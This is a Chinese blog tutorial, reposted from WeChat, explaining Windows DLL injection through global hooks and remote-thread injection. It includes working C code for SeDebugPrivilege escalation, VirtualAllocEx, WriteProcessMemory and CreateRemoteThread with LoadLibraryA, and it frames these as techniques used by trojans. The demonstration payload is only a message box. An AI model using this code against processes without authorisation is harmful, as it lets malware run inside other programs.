Windows编程技术:4种Dll注入技术(上)

本文转载自【微信公众号:MicroPest,ID:gh_696c36c5382b】,经微信公众号授权转载,如需转载与原文作者联系

前面零散地介绍了一些Dll注入方面的内容,很多人跟我交流后感觉很懵,主要是一些基础知识的欠缺。我决定从这期开始,将这些知识点进行了整合,梳理出目前常用的基础知识进行条理化,让大家看得更清楚一点,更详细一点。

这个系列主要是围绕windows的黑客编程技术。这篇主要介绍Dll注入技术中用到的4种基础注入方式,并结合代码来实例分析,加深理解。想法虽然很好,但不知道能不能坚持下来,主要是要看我的业余时间充盈情况和此系列受欢迎的程度来决定后续的篇幅。

在写的过程中,发现实在是篇幅过长,还是分两篇来梳理这个(2种),同时希望认真看,我在最后也会放上源码供大家练习。

一、4种Dll注入

病毒木马需要将执行的Shellcode或者Dll注入到目标进程中去执行,其中Dll注入最为普遍。这其中用到了4种常见的Dll注入技术:

1)全局钩子;

2)远线程钩子;

3)突破Session 0隔离的远程线程注入;

4)APC注入。

二、全局钩子注入

钩子,英文叫hook,指利用api来提前拦截并处理windows消息的一种技术。如键盘钩子,许多木马都有这东西,监视你的键盘操作。

全局钩子是系统钩子的一种,当指定的一些消息被系统中任何应用程序所处理时,这个钩子就被调用。

实例中有两个程序:test.exe和GlobalHook_Test.dll;运行test.exe,会加载起来GlobalHook_Test.dll,钩住消息队列。

第一部分:Test.exe

首先,利用LoadLibrary加载GlobalHook_Test,将句柄放入hDll中;

hDll = ::LoadLibrary("GlobalHook_Test.dll");

if (NULL == hDll)

{

printf("LoadLibrary Error[%d]\n", ::GetLastError());

break;

}

第二,获取设置钩子(导出)函数SetGlobalHook的位置GetProcAddress;

SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");

if (NULL == SetGlobalHook)

{

printf("GetProcAddress Error[%d]\n", ::GetLastError());

break;

}

第三,设置全局钩子,钩住消息队列;

bRet = SetGlobalHook();

if (bRet)

{

printf("SetGlobalHook OK.\n");

}

else

{

printf("SetGlobalHook ERROR.\n");

}

最后,完成任务,卸载全局钩子;

UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");

if (NULL == UnsetGlobalHook)

{

printf("GetProcAddress Error[%d]\n", ::GetLastError());

break;

}

UnsetGlobalHook();

printf("UnsetGlobalHook OK.\n");

第二部分:GlobalHook_Test.dll

首先, 设置全局钩子

BOOL SetGlobalHook()

{

g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);

if (NULL == g_hHook)

{

return FALSE;

}

return TRUE;

}

上面有个设置全局的钩子的函数SetWindowsHookEx,里面有4个参数,简单介绍下:

第1个参数:要安装的钩子类型;

第2个参数:钩子过程,拦截消息后的预处理过程;

第3个参数:Dll入口地址;

第4个参数:被监视线程ID,为0则为所有线程;

所以,该语句(SetWindowsHookEx)的作用是挂钩WH_GETMESSAGE,并用GetMsgProc来获取消息队列中消息,入口在g_hDllModule的全局钩子;

第二,GetMsgProc函数

这个函数,我们称为“回调函数”。

LRESULT GetMsgProc(

int code,

WPARAM wParam,

LPARAM lParam)

{

return ::CallNextHookEx(g_hHook, code, wParam, lParam);

}

通过这个函数将当前钩子传递给钩子链中的下一个钩子;调用钩子链中的下一个挂钩过程。

第1个参数:当前钩子句柄;

第2个参数:钩子代码;传递给当前Hook过程的代码。下一个钩子程序使用此代码,以确定如何处理钩的信息。

第3、4个参数:一般不用。

返回值:调用成功返回值是下一个钩子的回调函数,否则为0,表示中断钩子传递。

第三,共享内存

钩子是被每个线程所使用,全局钩子是被全部线程所使用,那该代码应该放置在哪里才能不打架呢?利用“共享内存”来解决。

“共享内存”:突破进程的独立性,多个进程共享同一段内存。在Dll中创建共享内存,就是在Dll中创建一个变量,将后将Dll加载到多个进程空间,只要一个进程修改了该值,其他进程Dll中的这个值也会被改变。

#pragma data_seg("mydata")

HHOOK g_hHook = NULL;

#pragma data_seg()

#pragma comment(linker, "/SECTION:mydata,RWS")

以上代码为Dll创建一个数据段,对程序的链接器进行设置,把指定的数据段链接为共享数据段,这样就成功创建了。

在上面的代码中,使用pragma data_seg创建了一个名为“mydata”的数据段,然后使用“/SECTION:mydata,RWS”把mydata数据段设置为“可读、可写、可共享”的共享数据段。

第三部分:测试

首先,看下导出函数:

Windows编程技术:4种Dll注入技术(上)休闲区蓝鸢梦想 - Www.slyday.coM

很明显的两个函数;

第二,查看下调用情况:

Windows编程技术:4种Dll注入技术(上)休闲区蓝鸢梦想 - Www.slyday.coM

三、远程线程钩子注入

远程线程注入是指一个进程在另一个进程中创建线程的技术。

在一个进程中,调用CreateThread或CreateRemoteThreadEx函数,在另一个进程内创建一个线程(因为不在同一个进程中,所以叫做远程线程)。创建的线程一般为Windows API函数LoadLibrary,来加载一个动态链接库(DLL),从而达到在另一个进程中运行自己所希望运行的代码的目的。

第一部分:CreateRemoteThread_Test.exe

首先,运行该Exe文件,提升自身程序的权限,然后利用CreateRemoteThreadInjectDll载入TestDll.dll文件远程注入到标明的ProcessID中。

// 提升当前进程令牌权限

EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);

// 远线程注入 DLL

#ifndef _WIN64

BOOL bRet = CreateRemoteThreadInjectDll(4316, "C:\\Users\\DemonGan\\Desktop\\CreateRemoteThread_Test\\Debug\\TestDll.dll");

#else

BOOL bRet = CreateRemoteThreadInjectDll(1144, "C:\\Users\\DemonGan\\Desktop\\CreateRemoteThread_Test\\x64\\Debug\\TestDll.dll");

#endif

这里有两个函数:

1)EnbalePrivileges,提升权限,

BOOL EnbalePrivileges(HANDLE hProcess, char *pszPrivilegesName)

{

HANDLE hToken = NULL;

LUID luidValue = {0};

TOKEN_PRIVILEGES tokenPrivileges = {0};

BOOL bRet = FALSE;

DWORD dwRet = 0;

// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄

bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);

if (FALSE == bRet)

{

EP_ShowError("OpenProcessToken");

return FALSE;

}

// 获取本地系统的 pszPrivilegesName 特权的LUID值

bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);

if (FALSE == bRet)

{

EP_ShowError("LookupPrivilegeValue");

return FALSE;

}

// 设置提升权限信息

tokenPrivileges.PrivilegeCount = 1;

tokenPrivileges.Privileges[0].Luid = luidValue;

tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// 提升进程令牌访问权限

bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);

if (FALSE == bRet)

{

EP_ShowError("AdjustTokenPrivileges");

return FALSE;

}

else

{

// 根据错误码判断是否特权都设置成功

dwRet = ::GetLastError();

if (ERROR_SUCCESS == dwRet)

{

return TRUE;

}

else if (ERROR_NOT_ALL_ASSIGNED == dwRet)

{

EP_ShowError("ERROR_NOT_ALL_ASSIGNED");

return FALSE;

}

}

return FALSE;

}

这里有几个函数,分别介绍下,

OpenProcessToken:

第1个參数:是要改动訪问权限的进程句柄;

第2个參数:指定你要进行的操作类型;如要改动令牌我们要指定第二个參数为TOKEN_ADJUST_PRIVILEGES。

第3个參数:就是返回的訪问令牌指针。

LookupPrivilegeValue:函数查看系统权限的特权值,返回信息到一个LUID结构体里。

第1个参数表示所要查看的系统,本地系统直接用NULL;

第2个参数指向一个以零结尾的字符串,指定特权的名称,如在WinNT h头文件定义。例如,此参数可指定常数,se_security_name,或其对应的字符串,“sesecurityprivilege。

第3个参数用来接收所返回的制定特权名称的信息。

AdjustTokenPrivileges:

第1个参数是访问令牌的句柄;

第2个参数决定是进行权限修改还是除能(Disable)所有权限;

第3个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作;

第4个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;

第5个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;

最后一个参数为实际PreviousState结构返回的大小。

2)CreateRemoteThreadInjectDll,实现远程注入,

// 使用 CreateRemoteThread 实现远线程注入

BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName)

{

HANDLE hProcess = NULL;

SIZE_T dwSize = 0;

LPVOID pDllAddr = NULL;

FARPROC pFuncProcAddr = NULL;

//这里改为获取“计算器”的句柄

HWND hCalc = ::FindWindow(NULL, TEXT("计算器"));

if (hCalc == NULL)

{

ShowError("没有找到该类型窗口");

return FALSE;

}

DWORD dwPID = 0;

GetWindowThreadProcessId(hCalc, &dwProcessId);

if (dwProcessId == 0)

{

ShowError("获取窗口PID失败。");

return FALSE;

}

// 打开注入进程,获取进程句柄

hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

if (NULL == hProcess)

{

ShowError("OpenProcess");

return FALSE;

}

// 在注入进程中申请内存

dwSize = 1 + ::lstrlen(pszDllFileName);

pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (NULL == pDllAddr)

{

ShowError("VirtualAllocEx");

return FALSE;

}

// 向申请的内存中写入数据

if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))

{

ShowError("WriteProcessMemory");

return FALSE;

}

// 获取LoadLibraryA函数地址

pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

if (NULL == pFuncProcAddr)

{

ShowError("GetProcAddress_LoadLibraryA");

return FALSE;

}

// 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入

HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);

if (NULL == hRemoteThread)

{

ShowError("CreateRemoteThread");

return FALSE;

}

WaitForSingleObject(hRemoteThread, -1);

// 关闭句柄

::CloseHandle(hProcess);

VirtualFreeEx(hProcess, pDllAddr, 0, MEM_FREE);

return TRUE;

}

几个函数,介绍下,

VirtualAllocEx:在指定进程的虚拟地址空间中保留或开辟一段区域..除非MEM_RESET被使用,否则这个函数将会初始化那段内存为0。

第1个参数:申请内存所在的进程句柄。

第2个参数:保留页面的内存地址;一般用NULL自动分配 。

第3个参数:欲分配的内存大小;

第4个参数:内存分配类型;

第5个参数:页面区域的内存保护;

WriteProcessMemory:写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败。

第1个参数:由OpenProcess返回的进程句柄;

第2个参数:要写的内存首地址;

第3个参数:指向要写的数据的指针;

第4个参数:写入的字节数;

第5个参数:指向变量的指针。

CreateRemoteThread:创建一个在其它进程地址空间中运行的线程。

第1个参数:线程所属进程的进程句柄;

第2个参数:一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性;

第3个参数:线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小;

第4个参数:在远程进程的 地址空间中,该线程的线程函数的起始地址;

第5个参数:传给线程函数的参数;

第6个参数:线程的创建标志。

此函数需要传递的是目标进程空间中的多线程函数地址,以及多线程参数,其中参数类型是空指针类型。

第二部分:TestDll.dll

dll部分只弹出一个MessageBox,不细说。

通过以上两部分,我们可以知道:程序能够获取目标进程LoadLibrary函数的地址,还能够获取目标进程空间中某个Dll路径字符串的地址,那么,就可以将LoadLibrary函数的地址作为多线程函数的地址,某个Dll路径字符串的地址作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中创建一个多线程,最终可以在目标进程空间中创建一个多线程,这个多线程就是LoadLibrary函数加载的Dll。

这里产生两个问题?一是LoadLibrary函数的地址?二是如何向目标进程空间中写入Dll路径字符串数据?

其实是这样的,由于引用了ASLR基址随机化的安全机制,每次开机时系统Dll的加载基址是不同的,导致了Dll的导出函数也是不同的。但因为开机后,每个Dll的LoadLibrary函数的地址是相同的,也即自己的LoadLibrary函数的地址和别的进程空间的LoadLibrary函数的地址也是一样的,所以决定了导出函数就能计算出来,因此,第一个问题解决。

第二个问题,直接调用VirtualAllocEx函数在目标进程空间中申请一块内存,然后调用WriteProcessMemory函数将指定的Dll路径写入到目标进程空间中,这样就解决了。

第三部分:测试

运行“计算器”后,因为程序中已修改成自动查找“计算器”名字,所以找到后直接注入到计算器的进程中,并执行弹窗代码,

Windows编程技术:4种Dll注入技术(上)休闲区蓝鸢梦想 - Www.slyday.coM

从弹窗效果来看,结果是正确的;但在“计算器”的模块中没有发现加载的Dll程序,不知道代码哪里不对。

另外,我在看雪,找了一套 远程注入的代码,效果也不错,

Windows编程技术:4种Dll注入技术(上)休闲区蓝鸢梦想 - Www.slyday.coM

注意:如果注入失败,请用管理员权限运行程序;一些系统服务进程是不能用这种方法注入成功的,这是由于系统存在Session 0 隔离的安全机制造成的,传统的远程线程注入Dll方法并不能突破Session 0隔离。后面的一篇会讲到这种形式的注入。

三个代码我一并放上。

本文转载自【微信公众号:MicroPest,ID:gh_696c36c5382b】,经微信公众号授权转载,如需转载与原文作者联系

相关推荐

  • 友情链接:
  • PHPCMSX
  • 智慧景区
  • 微信扫一扫

    微信扫一扫
    返回顶部

    显示

    忘记密码?

    显示

    显示

    获取验证码

    Close